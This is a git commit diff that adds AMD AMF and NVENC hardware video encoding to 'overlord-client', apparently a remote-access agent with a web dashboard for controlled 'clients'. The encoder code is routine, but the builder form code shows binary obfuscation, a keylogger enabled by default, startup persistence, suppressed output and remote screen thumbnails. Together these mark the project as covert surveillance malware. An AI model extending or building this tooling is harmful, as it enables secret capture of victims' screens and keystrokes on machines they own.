AMF + NVENC control and support
This commit is contained in:
@@ -0,0 +1,7 @@
|
||||
//go:build windows && (!cgo || no_amf)
|
||||
|
||||
package capture
|
||||
|
||||
func newAMFD3D11TextureBackend() h264D3D11TextureBackend { return nil }
|
||||
|
||||
func probeAMFD3D11() (bool, string) { return false, "AMD AMF requires a Windows CGO build" }
|
||||
@@ -0,0 +1,86 @@
|
||||
//go:build windows && cgo && !no_amf
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"overlord-client/cmd/agent/capture/amfbridge"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type amfD3D11TextureBackend struct {
|
||||
encoder *amfbridge.Encoder
|
||||
device unsafe.Pointer
|
||||
inputWidth int
|
||||
inputHeight int
|
||||
encodeWidth int
|
||||
encodeHeight int
|
||||
fps int
|
||||
dxgiFormat uint32
|
||||
output []byte
|
||||
forceIDR atomic.Bool
|
||||
}
|
||||
|
||||
func newAMFD3D11TextureBackend() h264D3D11TextureBackend {
|
||||
return &amfD3D11TextureBackend{output: make([]byte, 1024*1024)}
|
||||
}
|
||||
|
||||
func (b *amfD3D11TextureBackend) Name() string { return "AMD AMF" }
|
||||
|
||||
func (b *amfD3D11TextureBackend) matches(req h264D3D11TextureRequest) bool {
|
||||
return b.encoder != nil && b.device == req.Device && b.inputWidth == req.InputWidth &&
|
||||
b.inputHeight == req.InputHeight && b.encodeWidth == req.EncodeWidth &&
|
||||
b.encodeHeight == req.EncodeHeight && b.fps == req.FPS && b.dxgiFormat == req.DXGIFormat
|
||||
}
|
||||
|
||||
func (b *amfD3D11TextureBackend) Encode(req h264D3D11TextureRequest) ([]byte, error) {
|
||||
if !b.matches(req) {
|
||||
b.Reset()
|
||||
encoder, err := amfbridge.Create(req.Device, req.InputWidth, req.InputHeight, req.EncodeWidth,
|
||||
req.EncodeHeight, req.FPS, req.DXGIFormat, targetH264Bitrate(req.EncodeWidth, req.EncodeHeight, req.FPS))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b.encoder = encoder
|
||||
b.device, b.inputWidth, b.inputHeight = req.Device, req.InputWidth, req.InputHeight
|
||||
b.encodeWidth, b.encodeHeight, b.fps, b.dxgiFormat = req.EncodeWidth, req.EncodeHeight, req.FPS, req.DXGIFormat
|
||||
}
|
||||
forceIDR := req.ForceIDR || b.forceIDR.Swap(false)
|
||||
for attempts := 0; attempts < 2; attempts++ {
|
||||
result, outputSize, err := b.encoder.Encode(req.Texture, forceIDR, b.output)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if result == 2 {
|
||||
if outputSize <= 0 || outputSize > 64*1024*1024 {
|
||||
return nil, fmt.Errorf("AMF returned invalid output size %d", int(outputSize))
|
||||
}
|
||||
b.output = make([]byte, outputSize)
|
||||
forceIDR = false
|
||||
continue
|
||||
}
|
||||
if outputSize <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
out := make([]byte, outputSize)
|
||||
copy(out, b.output[:outputSize])
|
||||
return out, nil
|
||||
}
|
||||
return nil, fmt.Errorf("AMF output buffer resize retry failed")
|
||||
}
|
||||
|
||||
func (b *amfD3D11TextureBackend) RequestKeyframe() { b.forceIDR.Store(true) }
|
||||
|
||||
func (b *amfD3D11TextureBackend) Reset() {
|
||||
if b.encoder != nil {
|
||||
b.encoder.Close()
|
||||
}
|
||||
b.encoder = nil
|
||||
b.device = nil
|
||||
b.forceIDR.Store(false)
|
||||
}
|
||||
|
||||
func probeAMFD3D11() (bool, string) {
|
||||
return amfbridge.Probe()
|
||||
}
|
||||
@@ -0,0 +1,218 @@
|
||||
//go:build windows && cgo
|
||||
|
||||
#include "bridge_windows.h"
|
||||
#include <windows.h>
|
||||
#include <algorithm>
|
||||
#include <chrono>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <vector>
|
||||
|
||||
#include "../../../../third_party/amf/include/core/Factory.h"
|
||||
#include "../../../../third_party/amf/include/core/Buffer.h"
|
||||
#include "../../../../third_party/amf/include/components/VideoConverter.h"
|
||||
#include "../../../../third_party/amf/include/components/VideoEncoderVCE.h"
|
||||
|
||||
namespace {
|
||||
|
||||
struct AMFEncoder {
|
||||
HMODULE runtime = nullptr;
|
||||
amf::AMFFactory* factory = nullptr;
|
||||
amf::AMFContext* context = nullptr;
|
||||
amf::AMFComponent* converter = nullptr;
|
||||
amf::AMFComponent* encoder = nullptr;
|
||||
std::vector<uint8_t> pending;
|
||||
};
|
||||
|
||||
void set_error(char* dst, int capacity, const std::string& value) {
|
||||
if (!dst || capacity <= 0) return;
|
||||
const size_t count = std::min(value.size(), static_cast<size_t>(capacity - 1));
|
||||
std::memcpy(dst, value.data(), count);
|
||||
dst[count] = 0;
|
||||
}
|
||||
|
||||
std::string amf_error(const char* stage, AMF_RESULT result) {
|
||||
return std::string(stage) + " failed (AMF_RESULT=" + std::to_string(static_cast<int>(result)) + ")";
|
||||
}
|
||||
|
||||
void destroy(AMFEncoder* state) {
|
||||
if (!state) return;
|
||||
if (state->encoder) {
|
||||
state->encoder->Terminate();
|
||||
state->encoder->Release();
|
||||
}
|
||||
if (state->converter) {
|
||||
state->converter->Terminate();
|
||||
state->converter->Release();
|
||||
}
|
||||
if (state->context) {
|
||||
state->context->Terminate();
|
||||
state->context->Release();
|
||||
}
|
||||
if (state->runtime) FreeLibrary(state->runtime);
|
||||
delete state;
|
||||
}
|
||||
|
||||
HMODULE load_runtime() {
|
||||
return LoadLibraryW(sizeof(void*) == 8 ? L"amfrt64.dll" : L"amfrt32.dll");
|
||||
}
|
||||
|
||||
AMF_RESULT query_with_wait(amf::AMFComponent* component, amf::AMFData** data, int timeout_ms) {
|
||||
const auto deadline = std::chrono::steady_clock::now() + std::chrono::milliseconds(timeout_ms);
|
||||
AMF_RESULT result = AMF_REPEAT;
|
||||
do {
|
||||
result = component->QueryOutput(data);
|
||||
if (result != AMF_REPEAT && result != AMF_NEED_MORE_INPUT) return result;
|
||||
if (*data) return AMF_OK;
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(1));
|
||||
} while (std::chrono::steady_clock::now() < deadline);
|
||||
return result;
|
||||
}
|
||||
|
||||
AMF_RESULT collect_encoder_output(AMFEncoder* state, int timeout_ms) {
|
||||
amf::AMFData* data = nullptr;
|
||||
AMF_RESULT result = query_with_wait(state->encoder, &data, timeout_ms);
|
||||
if (!data) {
|
||||
return (result == AMF_REPEAT || result == AMF_NEED_MORE_INPUT) ? AMF_OK : result;
|
||||
}
|
||||
amf::AMFBufferPtr buffer(data);
|
||||
data->Release();
|
||||
if (!buffer) return AMF_INVALID_DATA_TYPE;
|
||||
const auto* bytes = static_cast<const uint8_t*>(buffer->GetNative());
|
||||
const size_t size = static_cast<size_t>(buffer->GetSize());
|
||||
if (bytes && size) state->pending.insert(state->pending.end(), bytes, bytes + size);
|
||||
return AMF_OK;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
extern "C" int overlord_amf_probe(char* error_text, int error_capacity) {
|
||||
HMODULE runtime = load_runtime();
|
||||
if (!runtime) {
|
||||
set_error(error_text, error_capacity, "AMF runtime DLL is not installed");
|
||||
return 0;
|
||||
}
|
||||
auto init = reinterpret_cast<AMFInit_Fn>(GetProcAddress(runtime, AMF_INIT_FUNCTION_NAME));
|
||||
amf::AMFFactory* factory = nullptr;
|
||||
AMF_RESULT result = init ? init(AMF_FULL_VERSION, &factory) : AMF_FAIL;
|
||||
FreeLibrary(runtime);
|
||||
if (result != AMF_OK || !factory) {
|
||||
set_error(error_text, error_capacity, amf_error("AMFInit", result));
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
extern "C" int overlord_amf_create(void* d3d11_device, int input_width, int input_height,
|
||||
int encode_width, int encode_height, int fps,
|
||||
uint32_t dxgi_format, int bitrate,
|
||||
overlord_amf_encoder* output,
|
||||
char* error_text, int error_capacity) {
|
||||
if (!output || !d3d11_device) {
|
||||
set_error(error_text, error_capacity, "invalid AMF create arguments");
|
||||
return 0;
|
||||
}
|
||||
*output = nullptr;
|
||||
auto* state = new AMFEncoder();
|
||||
state->runtime = load_runtime();
|
||||
if (!state->runtime) {
|
||||
set_error(error_text, error_capacity, "AMF runtime DLL is not installed");
|
||||
destroy(state);
|
||||
return 0;
|
||||
}
|
||||
auto init = reinterpret_cast<AMFInit_Fn>(GetProcAddress(state->runtime, AMF_INIT_FUNCTION_NAME));
|
||||
AMF_RESULT result = init ? init(AMF_FULL_VERSION, &state->factory) : AMF_FAIL;
|
||||
if (result != AMF_OK || !state->factory) goto fail_init;
|
||||
result = state->factory->CreateContext(&state->context);
|
||||
if (result != AMF_OK || !state->context) goto fail_context;
|
||||
result = state->context->InitDX11(d3d11_device, amf::AMF_DX11_0);
|
||||
if (result != AMF_OK) goto fail_dx11;
|
||||
result = state->factory->CreateComponent(state->context, AMFVideoConverter, &state->converter);
|
||||
if (result != AMF_OK || !state->converter) goto fail_converter;
|
||||
state->converter->SetProperty(AMF_VIDEO_CONVERTER_OUTPUT_FORMAT, static_cast<amf_int64>(amf::AMF_SURFACE_NV12));
|
||||
state->converter->SetProperty(AMF_VIDEO_CONVERTER_MEMORY_TYPE, static_cast<amf_int64>(amf::AMF_MEMORY_DX11));
|
||||
state->converter->SetProperty(AMF_VIDEO_CONVERTER_OUTPUT_SIZE, AMFConstructSize(encode_width, encode_height));
|
||||
{
|
||||
const amf::AMF_SURFACE_FORMAT input_format = dxgi_format == 28 ? amf::AMF_SURFACE_RGBA : amf::AMF_SURFACE_BGRA;
|
||||
result = state->converter->Init(input_format, input_width, input_height);
|
||||
}
|
||||
if (result != AMF_OK) goto fail_converter_init;
|
||||
result = state->factory->CreateComponent(state->context, AMFVideoEncoderVCE_AVC, &state->encoder);
|
||||
if (result != AMF_OK || !state->encoder) goto fail_encoder;
|
||||
state->encoder->SetProperty(AMF_VIDEO_ENCODER_USAGE, static_cast<amf_int64>(AMF_VIDEO_ENCODER_USAGE_ULTRA_LOW_LATENCY));
|
||||
state->encoder->SetProperty(AMF_VIDEO_ENCODER_PROFILE, static_cast<amf_int64>(AMF_VIDEO_ENCODER_PROFILE_MAIN));
|
||||
state->encoder->SetProperty(AMF_VIDEO_ENCODER_FRAMESIZE, AMFConstructSize(encode_width, encode_height));
|
||||
state->encoder->SetProperty(AMF_VIDEO_ENCODER_FRAMERATE, AMFConstructRate(fps, 1));
|
||||
state->encoder->SetProperty(AMF_VIDEO_ENCODER_TARGET_BITRATE, static_cast<amf_int64>(bitrate));
|
||||
state->encoder->SetProperty(AMF_VIDEO_ENCODER_B_PIC_PATTERN, static_cast<amf_int64>(0));
|
||||
state->encoder->SetProperty(AMF_VIDEO_ENCODER_LOWLATENCY_MODE, true);
|
||||
state->encoder->SetProperty(AMF_VIDEO_ENCODER_HEADER_INSERTION_SPACING, static_cast<amf_int64>(60));
|
||||
result = state->encoder->Init(amf::AMF_SURFACE_NV12, encode_width, encode_height);
|
||||
if (result != AMF_OK) goto fail_encoder_init;
|
||||
*output = state;
|
||||
return 1;
|
||||
|
||||
fail_encoder_init: set_error(error_text, error_capacity, amf_error("H.264 encoder Init", result)); destroy(state); return 0;
|
||||
fail_encoder: set_error(error_text, error_capacity, amf_error("CreateComponent encoder", result)); destroy(state); return 0;
|
||||
fail_converter_init: set_error(error_text, error_capacity, amf_error("video converter Init", result)); destroy(state); return 0;
|
||||
fail_converter: set_error(error_text, error_capacity, amf_error("CreateComponent converter", result)); destroy(state); return 0;
|
||||
fail_dx11: set_error(error_text, error_capacity, amf_error("InitDX11", result)); destroy(state); return 0;
|
||||
fail_context: set_error(error_text, error_capacity, amf_error("CreateContext", result)); destroy(state); return 0;
|
||||
fail_init: set_error(error_text, error_capacity, amf_error("AMFInit", result)); destroy(state); return 0;
|
||||
}
|
||||
|
||||
extern "C" int overlord_amf_encode(overlord_amf_encoder opaque, void* d3d11_texture,
|
||||
int force_idr, uint8_t* output, int output_capacity,
|
||||
int* output_size, char* error_text, int error_capacity) {
|
||||
auto* state = static_cast<AMFEncoder*>(opaque);
|
||||
if (!state || !d3d11_texture || !output_size) return 0;
|
||||
*output_size = 0;
|
||||
if (!state->pending.empty()) {
|
||||
*output_size = static_cast<int>(state->pending.size());
|
||||
if (output_capacity < *output_size || !output) return 2;
|
||||
std::memcpy(output, state->pending.data(), state->pending.size());
|
||||
state->pending.clear();
|
||||
return 1;
|
||||
}
|
||||
amf::AMFSurface* source = nullptr;
|
||||
AMF_RESULT result = state->context->CreateSurfaceFromDX11Native(d3d11_texture, &source, nullptr);
|
||||
if (result != AMF_OK || !source) goto fail_source;
|
||||
result = state->converter->SubmitInput(source);
|
||||
source->Release();
|
||||
if (result != AMF_OK) goto fail_converter_submit;
|
||||
{
|
||||
amf::AMFData* converted_data = nullptr;
|
||||
result = query_with_wait(state->converter, &converted_data, 100);
|
||||
if (result != AMF_OK || !converted_data) goto fail_converter_output;
|
||||
amf::AMFSurfacePtr converted(converted_data);
|
||||
converted_data->Release();
|
||||
if (!converted) { result = AMF_INVALID_DATA_TYPE; goto fail_converter_output; }
|
||||
if (force_idr) {
|
||||
converted->SetProperty(AMF_VIDEO_ENCODER_FORCE_PICTURE_TYPE, static_cast<amf_int64>(AMF_VIDEO_ENCODER_PICTURE_TYPE_IDR));
|
||||
converted->SetProperty(AMF_VIDEO_ENCODER_INSERT_SPS, true);
|
||||
converted->SetProperty(AMF_VIDEO_ENCODER_INSERT_PPS, true);
|
||||
}
|
||||
result = state->encoder->SubmitInput(converted);
|
||||
if (result != AMF_OK) goto fail_encoder_submit;
|
||||
}
|
||||
result = collect_encoder_output(state, 20);
|
||||
if (result != AMF_OK) goto fail_encoder_output;
|
||||
if (!state->pending.empty()) {
|
||||
*output_size = static_cast<int>(state->pending.size());
|
||||
if (output_capacity < *output_size || !output) return 2;
|
||||
std::memcpy(output, state->pending.data(), state->pending.size());
|
||||
state->pending.clear();
|
||||
}
|
||||
return 1;
|
||||
|
||||
fail_encoder_output: set_error(error_text, error_capacity, amf_error("encoder QueryOutput", result)); return 0;
|
||||
fail_encoder_submit: set_error(error_text, error_capacity, amf_error("encoder SubmitInput", result)); return 0;
|
||||
fail_converter_output: set_error(error_text, error_capacity, amf_error("converter QueryOutput", result)); return 0;
|
||||
fail_converter_submit: set_error(error_text, error_capacity, amf_error("converter SubmitInput", result)); return 0;
|
||||
fail_source: set_error(error_text, error_capacity, amf_error("CreateSurfaceFromDX11Native", result)); return 0;
|
||||
}
|
||||
|
||||
extern "C" void overlord_amf_destroy(overlord_amf_encoder encoder) {
|
||||
destroy(static_cast<AMFEncoder*>(encoder));
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
//go:build windows && cgo
|
||||
|
||||
package amfbridge
|
||||
|
||||
/*
|
||||
#cgo CXXFLAGS: -std=c++17
|
||||
#cgo LDFLAGS: -lole32
|
||||
#include <stdlib.h>
|
||||
#include "bridge_windows.h"
|
||||
*/
|
||||
import "C"
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type Encoder struct{ handle C.overlord_amf_encoder }
|
||||
|
||||
func Probe() (bool, string) {
|
||||
errText := make([]byte, 512)
|
||||
ok := C.overlord_amf_probe((*C.char)(unsafe.Pointer(&errText[0])), C.int(len(errText)))
|
||||
if ok == 0 {
|
||||
return false, message(errText, "AMF unavailable")
|
||||
}
|
||||
return true, "AMF runtime available"
|
||||
}
|
||||
|
||||
func Create(device unsafe.Pointer, inputWidth, inputHeight, encodeWidth, encodeHeight, fps int, dxgiFormat uint32, bitrate int) (*Encoder, error) {
|
||||
var handle C.overlord_amf_encoder
|
||||
errText := make([]byte, 512)
|
||||
ok := C.overlord_amf_create(device, C.int(inputWidth), C.int(inputHeight), C.int(encodeWidth), C.int(encodeHeight),
|
||||
C.int(fps), C.uint32_t(dxgiFormat), C.int(bitrate), &handle,
|
||||
(*C.char)(unsafe.Pointer(&errText[0])), C.int(len(errText)))
|
||||
if ok == 0 || handle == nil {
|
||||
return nil, &Error{Text: message(errText, "AMF encoder creation failed")}
|
||||
}
|
||||
return &Encoder{handle: handle}, nil
|
||||
}
|
||||
|
||||
func (e *Encoder) Encode(texture unsafe.Pointer, forceIDR bool, output []byte) (result int, size int, err error) {
|
||||
if e == nil || e.handle == nil {
|
||||
return 0, 0, &Error{Text: "AMF encoder is not initialized"}
|
||||
}
|
||||
errText := make([]byte, 512)
|
||||
var outputSize C.int
|
||||
var outputPtr *C.uint8_t
|
||||
if len(output) > 0 {
|
||||
outputPtr = (*C.uint8_t)(unsafe.Pointer(&output[0]))
|
||||
}
|
||||
force := C.int(0)
|
||||
if forceIDR {
|
||||
force = 1
|
||||
}
|
||||
r := C.overlord_amf_encode(e.handle, texture, force, outputPtr, C.int(len(output)), &outputSize,
|
||||
(*C.char)(unsafe.Pointer(&errText[0])), C.int(len(errText)))
|
||||
if r == 0 {
|
||||
return 0, int(outputSize), &Error{Text: message(errText, "AMF encode failed")}
|
||||
}
|
||||
return int(r), int(outputSize), nil
|
||||
}
|
||||
|
||||
func (e *Encoder) Close() {
|
||||
if e != nil && e.handle != nil {
|
||||
C.overlord_amf_destroy(e.handle)
|
||||
e.handle = nil
|
||||
}
|
||||
}
|
||||
|
||||
type Error struct{ Text string }
|
||||
|
||||
func (e *Error) Error() string { return e.Text }
|
||||
|
||||
func message(value []byte, fallback string) string {
|
||||
for i, b := range value {
|
||||
if b == 0 {
|
||||
value = value[:i]
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(value) == 0 {
|
||||
return fallback
|
||||
}
|
||||
return string(value)
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef void* overlord_amf_encoder;
|
||||
|
||||
int overlord_amf_probe(char* error_text, int error_capacity);
|
||||
int overlord_amf_create(void* d3d11_device, int input_width, int input_height,
|
||||
int encode_width, int encode_height, int fps,
|
||||
uint32_t dxgi_format, int bitrate,
|
||||
overlord_amf_encoder* encoder,
|
||||
char* error_text, int error_capacity);
|
||||
int overlord_amf_encode(overlord_amf_encoder encoder, void* d3d11_texture,
|
||||
int force_idr, uint8_t* output, int output_capacity,
|
||||
int* output_size, char* error_text, int error_capacity);
|
||||
void overlord_amf_destroy(overlord_amf_encoder encoder);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -53,6 +53,16 @@ type H264MFTFinding struct {
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type AMFSmokeResult struct {
|
||||
Available bool `json:"available"`
|
||||
Detail string `json:"detail"`
|
||||
}
|
||||
|
||||
func RunAMFSmoke() AMFSmokeResult {
|
||||
ok, detail := probeAMFD3D11()
|
||||
return AMFSmokeResult{Available: ok, Detail: detail}
|
||||
}
|
||||
|
||||
func FindH264HardwareMFTs() ([]H264MFTFinding, error) {
|
||||
if err := ensureMFStartup(); err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -53,6 +53,12 @@ var d3d11H264TextureRegistry = struct {
|
||||
backends: []h264D3D11TextureBackend{nvencD3D11TextureBackend{}},
|
||||
}
|
||||
|
||||
func init() {
|
||||
if backend := newAMFD3D11TextureBackend(); backend != nil {
|
||||
d3d11H264TextureRegistry.backends = append(d3d11H264TextureRegistry.backends, backend)
|
||||
}
|
||||
}
|
||||
|
||||
func encodeH264D3D11Texture(req h264D3D11TextureRequest) ([]byte, string, error) {
|
||||
if req.Device == nil || req.Texture == nil {
|
||||
return nil, "", fmt.Errorf("nil D3D11 device or texture")
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build windows && !cgo
|
||||
//go:build windows && (!cgo || no_nvenc)
|
||||
|
||||
package capture
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !windows || !cgo
|
||||
//go:build !windows || !cgo || no_nvenc
|
||||
|
||||
package capture
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build windows && cgo
|
||||
//go:build windows && cgo && !no_nvenc
|
||||
|
||||
package capture
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !windows
|
||||
//go:build !windows || no_nvenc
|
||||
|
||||
package capture
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build windows
|
||||
//go:build windows && !no_nvenc
|
||||
|
||||
package capture
|
||||
|
||||
|
||||
@@ -5,7 +5,10 @@ import (
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
const inputMarker uintptr = 0x00D5E7B00B5
|
||||
// Keep the full marker on 64-bit builds and let the runtime conversion retain
|
||||
// its low 32 bits on 32-bit builds. dwExtraInfo is pointer-sized, so the sender
|
||||
// and the low-level hooks observe the same value on either architecture.
|
||||
var inputMarkerValue uint64 = 0x00D5E7B00B5
|
||||
|
||||
type Manager struct {
|
||||
mu sync.Mutex
|
||||
@@ -51,4 +54,4 @@ func (m *Manager) Disable() {
|
||||
func Start() error { return Get().Enable() }
|
||||
func Stop() { Get().Disable() }
|
||||
func IsEnabled() bool { return Get().IsEnabled() }
|
||||
func InputMarker() uintptr { return inputMarker }
|
||||
func InputMarker() uintptr { return uintptr(inputMarkerValue) }
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
package privacy
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestInputMarkerFitsPointerWidth(t *testing.T) {
|
||||
marker := InputMarker()
|
||||
if marker == 0 {
|
||||
t.Fatal("input marker must not be zero")
|
||||
}
|
||||
if strconv.IntSize == 32 && uint64(marker) != inputMarkerValue&0xffffffff {
|
||||
t.Fatalf("32-bit marker = %#x, want low bits %#x", marker, inputMarkerValue&0xffffffff)
|
||||
}
|
||||
if strconv.IntSize == 64 && uint64(marker) != inputMarkerValue {
|
||||
t.Fatalf("64-bit marker = %#x, want %#x", marker, inputMarkerValue)
|
||||
}
|
||||
}
|
||||
@@ -34,6 +34,7 @@ type smokeReport struct {
|
||||
H264 []capture.H264SmokeResult `json:"h264"`
|
||||
Capture []capture.CaptureSmokeResult `json:"capture,omitempty"`
|
||||
NVENC *capture.NVENCSmokeResult `json:"nvenc,omitempty"`
|
||||
AMF capture.AMFSmokeResult `json:"amf"`
|
||||
NVENCD3D11 []capture.NVENCD3D11SmokeResult `json:"nvenc_d3d11,omitempty"`
|
||||
Nvidia []string `json:"nvidia_smi,omitempty"`
|
||||
}
|
||||
@@ -70,6 +71,7 @@ func main() {
|
||||
system := sysinfo.Collect()
|
||||
machine := machineInfo{Hostname: hostname, OS: sysinfo.OSName(), Arch: runtime.GOARCH, CPU: system.CPU, GPU: system.GPU, RAM: system.RAM, GeneratedAt: time.Now().Format(time.RFC3339)}
|
||||
findings, findingErr := capture.FindH264HardwareMFTs()
|
||||
amfResult := capture.RunAMFSmoke()
|
||||
|
||||
opts := capture.DefaultH264SmokeOptions()
|
||||
opts.Frames = frames
|
||||
@@ -96,7 +98,7 @@ func main() {
|
||||
nvidiaSMI = queryNvidiaSMI()
|
||||
}
|
||||
}
|
||||
report := smokeReport{Machine: machine, Findings: findings, H264: results, Capture: captureResults, NVENC: nvencResult, NVENCD3D11: nvencD3D11Results, Nvidia: nvidiaSMI}
|
||||
report := smokeReport{Machine: machine, Findings: findings, H264: results, Capture: captureResults, NVENC: nvencResult, AMF: amfResult, NVENCD3D11: nvencD3D11Results, Nvidia: nvidiaSMI}
|
||||
if findingErr != nil {
|
||||
report.FindingError = findingErr.Error()
|
||||
}
|
||||
@@ -117,6 +119,11 @@ func main() {
|
||||
}
|
||||
printMachine(machine)
|
||||
printMFTFindings(findings, findingErr)
|
||||
status := "unavailable"
|
||||
if amfResult.Available {
|
||||
status = "available"
|
||||
}
|
||||
fmt.Printf("AMD AMF runtime: %s (%s)\n", status, amfResult.Detail)
|
||||
fmt.Println()
|
||||
printTable(results)
|
||||
if includeCapture {
|
||||
|
||||
@@ -188,6 +188,8 @@ function setBuildField(field, value) {
|
||||
garbleLiterals: 'input[name="garble-literals"]',
|
||||
garbleTiny: 'input[name="garble-tiny"]',
|
||||
disableCgo: 'input[name="disable-cgo"]',
|
||||
enableNvenc: 'input[name="enable-nvenc"]',
|
||||
enableAmf: 'input[name="enable-amf"]',
|
||||
stripDebug: 'input[name="strip-debug"]',
|
||||
noPrinting: 'input[name="no-printing"]',
|
||||
enableWebrtc: 'input[name="enable-webrtc"]',
|
||||
@@ -455,6 +457,8 @@ function collectFormSettings() {
|
||||
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
||||
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
|
||||
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
|
||||
enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true,
|
||||
enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true,
|
||||
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
||||
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
||||
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
||||
@@ -522,6 +526,8 @@ function applyFormSettings(settings) {
|
||||
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
|
||||
if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
|
||||
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
|
||||
if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc);
|
||||
if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf);
|
||||
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
||||
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
||||
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
||||
@@ -1692,6 +1698,8 @@ form?.addEventListener("submit", async (e) => {
|
||||
const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false;
|
||||
const stripDebug = form.querySelector('input[name="strip-debug"]').checked;
|
||||
const disableCgo = form.querySelector('input[name="disable-cgo"]').checked;
|
||||
const enableNvenc = form.querySelector('input[name="enable-nvenc"]')?.checked ?? true;
|
||||
const enableAmf = form.querySelector('input[name="enable-amf"]')?.checked ?? true;
|
||||
const obfuscate = form.querySelector('input[name="obfuscate"]').checked;
|
||||
const enablePersistence = form.querySelector(
|
||||
'input[name="enable-persistence"]',
|
||||
@@ -1739,6 +1747,8 @@ form?.addEventListener("submit", async (e) => {
|
||||
disableMutex,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc,
|
||||
enableAmf,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
|
||||
|
||||
@@ -346,6 +346,23 @@ export async function sendCommand(clientId, action) {
|
||||
}
|
||||
}
|
||||
|
||||
export async function pingClientNow(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "ping", waitForResult: true }),
|
||||
});
|
||||
if (!res.ok) throw new Error(`ping failed ${res.status}`);
|
||||
const result = await res.json().catch(() => ({}));
|
||||
await loadWithOptions({ force: true, reorder: false });
|
||||
return Boolean(result?.updated);
|
||||
} catch (err) {
|
||||
console.error("Failed to refresh ping:", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export async function fetchVoiceCapabilities(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
@@ -375,15 +392,26 @@ export async function requestPreview(clientId) {
|
||||
|
||||
export async function requestThumbnail(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/thumbnail`, {
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/thumbnail`, {
|
||||
method: "POST",
|
||||
headers: { "x-overlord-thumbnail-source": "manual" },
|
||||
});
|
||||
if (res.ok) {
|
||||
const data = await res.json();
|
||||
if (data.ok) {
|
||||
await loadWithOptions({ force: true });
|
||||
setTimeout(() => loadWithOptions({ force: true }), 250);
|
||||
setTimeout(() => loadWithOptions({ force: true }), 800);
|
||||
if (data.updated && Number(data.version) > 0) {
|
||||
const escapedId = typeof CSS !== "undefined" && CSS.escape ? CSS.escape(clientId) : clientId;
|
||||
document.querySelectorAll(`[data-thumb-client="${escapedId}"]`).forEach((host) => {
|
||||
const img = host.querySelector("img[data-thumb-img]");
|
||||
if (!img) return;
|
||||
const url = `/api/clients/${encodeURIComponent(clientId)}/thumbnail?v=${Number(data.version)}`;
|
||||
host.dataset.thumbVersion = String(data.version);
|
||||
img.dataset.thumbUrl = url;
|
||||
img.src = url;
|
||||
img.style.display = "block";
|
||||
});
|
||||
}
|
||||
await loadWithOptions({ force: true, reorder: false });
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ import {
|
||||
renderCachedClients,
|
||||
startAutoRefresh,
|
||||
sendCommand,
|
||||
pingClientNow,
|
||||
requestPreview,
|
||||
requestThumbnail,
|
||||
markManualDisconnect,
|
||||
@@ -1032,6 +1033,15 @@ document.querySelectorAll(".dashboard-menu").forEach((details) => {
|
||||
|
||||
